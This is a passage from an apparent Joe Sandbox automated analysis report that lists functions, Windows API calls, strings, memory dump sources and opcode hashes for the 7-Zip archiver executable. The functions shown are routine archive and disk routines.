                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F0121
                                                                                                                                                                                                                                                              • _CxxThrowException.MSVCRT ref: 006F0184
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              • Duplicate filename in archive:, xrefs: 006F0149
                                                                                                                                                                                                                                                              • Internal file name collision (file on disk, file in archive):, xrefs: 006F015D
                                                                                                                                                                                                                                                              • Duplicate filename on disk:, xrefs: 006EFCB4
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ExceptionThrow$memmove$mallocmemset
                                                                                                                                                                                                                                                              • String ID: Duplicate filename in archive:$Duplicate filename on disk:$Internal file name collision (file on disk, file in archive):
                                                                                                                                                                                                                                                              • API String ID: 3338823681-819937569
                                                                                                                                                                                                                                                              • Opcode ID: 05e571fda14d9d8926fc305dd0170e713781fc1b859d5d94d2c1757528fd9615
                                                                                                                                                                                                                                                              • Instruction ID: 965cf0105f07bafa373badadf48611f1213e7ed654743d9894e0b3a3a23ed722
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 05e571fda14d9d8926fc305dd0170e713781fc1b859d5d94d2c1757528fd9615
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2812B0B32197C487C760DF1AE44069EB7A2F389B90F505629EF9A47B59CF38D891CB04
                                                                                                                                                                                                                                                              Function 006CAF58 Relevance: 11.7, APIs: 9, Instructions: 447COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: 1eb9012123f2ce8eb073f9b3624da2f3a3289b8457f20c18abc7480cb7118cc2
                                                                                                                                                                                                                                                              • Instruction ID: 0ae32bbdfc60f8852bf46b06ace7c98d35f2dae8a5ea40a657de5f5b040493a5
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 1eb9012123f2ce8eb073f9b3624da2f3a3289b8457f20c18abc7480cb7118cc2
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 49026A32209B8586DA24DF25E4917AEB362FBC5B84F44512ADB8E57B28DF7CC845CB00
                                                                                                                                                                                                                                                              Function 006B8F18 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 142COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • DeviceIoControl.KERNEL32 ref: 006B8F7A
                                                                                                                                                                                                                                                              • DeviceIoControl.KERNEL32 ref: 006B905E
                                                                                                                                                                                                                                                              • DeviceIoControl.KERNEL32 ref: 006B90B5
                                                                                                                                                                                                                                                              • DeviceIoControl.KERNEL32 ref: 006B90F6
                                                                                                                                                                                                                                                                • Part of subcall function 006BABB0: GetModuleHandleW.KERNEL32 ref: 006BABD1
                                                                                                                                                                                                                                                                • Part of subcall function 006BABB0: GetProcAddress.KERNEL32 ref: 006BABE1
                                                                                                                                                                                                                                                                • Part of subcall function 006BABB0: GetDiskFreeSpaceW.KERNEL32 ref: 006BAC32
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ControlDevice$AddressDiskFreeHandleModuleProcSpace
                                                                                                                                                                                                                                                              • String ID: ($:
                                                                                                                                                                                                                                                              • API String ID: 4250411929-4277925470
                                                                                                                                                                                                                                                              • Opcode ID: 5b9f9703c519a548ceef949604e44196ebe8030fab0dc2f4f3b95e46287e534a
                                                                                                                                                                                                                                                              • Instruction ID: 72349aa8151def924ecc81934dc63633a6c530a5712051fc28aab9ef4313fa0a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5b9f9703c519a548ceef949604e44196ebe8030fab0dc2f4f3b95e46287e534a
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 0751DE72208BC196CB20EF24F0503DEB766F785758F54852AEB8907B18EB39C8E4CB54
                                                                                                                                                                                                                                                              Function 006B881C Relevance: 10.6, APIs: 7, Instructions: 102COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$DriveLogicalStrings
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 837055893-0
                                                                                                                                                                                                                                                              • Opcode ID: 3de173a54933036e0db587b8e1d0ec2bc758cc62df0222796deffbdb40624916
                                                                                                                                                                                                                                                              • Instruction ID: 7a0810a51c4b06a30df429fd9c5a2b5afe4dda4572da51169e86aef9e520d91d
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3de173a54933036e0db587b8e1d0ec2bc758cc62df0222796deffbdb40624916
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1E31A6A2301B424ADE70EF29E8613EA6297AB85BE4F484234DF5D47384DF38C9C6C304
                                                                                                                                                                                                                                                              Function 006B96AC Relevance: 10.6, APIs: 7, Instructions: 88COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B96D1
                                                                                                                                                                                                                                                              • GetFileInformationByHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF,00000001,00000000), ref: 006B9723
                                                                                                                                                                                                                                                              • DeviceIoControl.KERNEL32 ref: 006B976C
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B9779
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B9796
                                                                                                                                                                                                                                                              • memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF,00000001,00000000), ref: 006B97C4
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006B97CD
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ControlDeviceFileHandleInformationmemmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2572579059-0
                                                                                                                                                                                                                                                              • Opcode ID: 81d8e5875d3dc795eb3d600148a840ab749245db3ba8f1a9a9afcbd51cdf2eb3
                                                                                                                                                                                                                                                              • Instruction ID: 6271d9c87a07edf1a9599efc25b0e809282aa6dfc074b7f091f058ae068180e1
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 81d8e5875d3dc795eb3d600148a840ab749245db3ba8f1a9a9afcbd51cdf2eb3
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F531C6B2255A4189C6709F15F8503EAB3A6E782BE0F584234EBE947B95DE39C4C1C704
                                                                                                                                                                                                                                                              Function 006FDBA0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 23libraryloaderCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: Version$AddressHandleModuleProc
                                                                                                                                                                                                                                                              • String ID: SetDefaultDllDirectories$kernel32.dll
                                                                                                                                                                                                                                                              • API String ID: 2268189529-2102062458
                                                                                                                                                                                                                                                              • Opcode ID: 7a4e38354ab5005c4356f78164d2e6d32f5e0198e07bcfd6bf58e12f2388e286
                                                                                                                                                                                                                                                              • Instruction ID: 14785596c01e7ed19559af025987896cca56fbd62438d713504e27e3aa78890f
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 7a4e38354ab5005c4356f78164d2e6d32f5e0198e07bcfd6bf58e12f2388e286
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F9F03470604606C2EB349B50F8583B933A2FB88709F450234D24E412A4EF3DD659CB04
                                                                                                                                                                                                                                                              Function 006BABB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58libraryloaderCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AddressDiskFreeHandleModuleProcSpace
                                                                                                                                                                                                                                                              • String ID: GetDiskFreeSpaceExW$kernel32.dll
                                                                                                                                                                                                                                                              • API String ID: 1197914913-1127948838
                                                                                                                                                                                                                                                              • Opcode ID: 91232d8e4c27da98ed619dc657d8975082bad2379c6f63f0bea740be7d830b66
                                                                                                                                                                                                                                                              • Instruction ID: c6446afc9b4f5114ce94e9f85b10d966a9d1733673a1b78b06d9d4e9b090160f
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 91232d8e4c27da98ed619dc657d8975082bad2379c6f63f0bea740be7d830b66
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: AE118973216B4696DB50CF59F480BAAB365FB94B80F445022EB8E03728EF38C559CB00
                                                                                                                                                                                                                                                              Function 006BB114 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188timeCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • FileTimeToLocalFileTime.KERNEL32 ref: 006BB12A
                                                                                                                                                                                                                                                              • FileTimeToSystemTime.KERNEL32 ref: 006BB13E
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: Time$File$LocalSystem
                                                                                                                                                                                                                                                              • String ID: gfff
                                                                                                                                                                                                                                                              • API String ID: 1748579591-1553575800
                                                                                                                                                                                                                                                              • Opcode ID: e09e1fa2f5dca829b3cb60a828e392fca3363189765d43a1e7a71e091b5d5d10
                                                                                                                                                                                                                                                              • Instruction ID: 62570ef390e02ad48448465e03edbcb296b96c613e852f1aac0ebaf3488a6010
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e09e1fa2f5dca829b3cb60a828e392fca3363189765d43a1e7a71e091b5d5d10
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 24518A93B042C04BD719CB3DD846BDDBFC2E3A5758F48822ADB5587785E2ADC50AC721
                                                                                                                                                                                                                                                              Function 006BB5E0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006BB5B8: GetCurrentProcess.KERNEL32 ref: 006BB5C2
                                                                                                                                                                                                                                                              • GetSystemInfo.KERNEL32 ref: 006BB624
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CurrentInfoProcessSystem
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1098911721-0
                                                                                                                                                                                                                                                              • Opcode ID: 3fe78990de1b082a0b60084bcba32a5828cb8e3291c47789f548cb5e73abf302
                                                                                                                                                                                                                                                              • Instruction ID: 468d00f915ba11246c322e3491362a8b7e84a0672124fec67bc6e498fe712a8f
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3fe78990de1b082a0b60084bcba32a5828cb8e3291c47789f548cb5e73abf302
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B7E012A662449483CB70DF08E5426E9A362F794745FC47621E68982F14EF6DCE95CF00
                                                                                                                                                                                                                                                              Function 006FD670 Relevance: .0, Instructions: 11COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: ee90a0e28cdf5ca319eb7aa323224805b652061d1b8a18153c9d68adb395663c
                                                                                                                                                                                                                                                              • Instruction ID: 34afeae6880bda907862fecc5a575742f80bca13212b8b6d580c827bd778b7ad
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ee90a0e28cdf5ca319eb7aa323224805b652061d1b8a18153c9d68adb395663c
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 09C001FA2197408B874A8F2EA850818BBA0F788B907868029AA0CD3300E2358444CF24
                                                                                                                                                                                                                                                              Function 006D0C24 Relevance: 97.9, APIs: 78, Instructions: 364COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 9cbdc30e6d0b5ea00b42a6c34bff6f946b52da21b37e4cfe8bd3163259cd7e86
                                                                                                                                                                                                                                                              • Instruction ID: 2115a540ee0bc3496142d0e37099a1a1669dd7234ff1e60136477d4af5337cc4
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9cbdc30e6d0b5ea00b42a6c34bff6f946b52da21b37e4cfe8bd3163259cd7e86
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1ED1386225958181CA90FF35E4716AFA762F7C3780F405256FB8E97B39CE68C5C6CB08
                                                                                                                                                                                                                                                              Function 006E2A7D Relevance: 44.0, APIs: 35, Instructions: 257COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 28ab6cdc9f263cf9404c085a8059b8072311b560ecc5f73d0aa5210d99d2189d
                                                                                                                                                                                                                                                              • Instruction ID: 9eb13d884ac6d32bb96ea58bf4f8b9c1b177be0fe940f4b846e10bde2a0a64f6
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 28ab6cdc9f263cf9404c085a8059b8072311b560ecc5f73d0aa5210d99d2189d
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A2916D72206B8586CA64EF3AD074AAE67A6F7C7F85F022565DB4E53711CF38C486C708
                                                                                                                                                                                                                                                              Function 006D1DB4 Relevance: 41.7, APIs: 33, Instructions: 418COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ExceptionThrowmallocmemmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3352498445-0
                                                                                                                                                                                                                                                              • Opcode ID: 060a242fe419d18ace11e0b1f05433c8320572bf80c973ccad8851887f661016
                                                                                                                                                                                                                                                              • Instruction ID: a06978ee56d7e4ca5e373c0d03131e6781932616e8325a8555ff4b67f1718b6e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 060a242fe419d18ace11e0b1f05433c8320572bf80c973ccad8851887f661016
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A1E1E573B046D286CA30FE16E4A01DDA7A2F396BD0F05412AFF9D5B719CE68C886C744
                                                                                                                                                                                                                                                              Function 006C05A0 Relevance: 40.7, APIs: 25, Strings: 2, Instructions: 209COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove$ExceptionThrow
                                                                                                                                                                                                                                                              • String ID: incorrect update switch command$pqrxyzw
                                                                                                                                                                                                                                                              • API String ID: 3957182552-3922825594
                                                                                                                                                                                                                                                              • Opcode ID: 7c7c3e7fd9314440e1a1777af8ec9796aa83228940c07231adba96d4221eb7b0
                                                                                                                                                                                                                                                              • Instruction ID: 1e81f7ca95faf0c63c6796e95b7b4bac76097a644844eeb6b176930c9274550c
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 7c7c3e7fd9314440e1a1777af8ec9796aa83228940c07231adba96d4221eb7b0
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: CE81E473215681C2DB60EF25D8907EEB362F7C5B84F40822AEB8E47765CE38C986C744
                                                                                                                                                                                                                                                              Function 006B5D18 Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 328COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
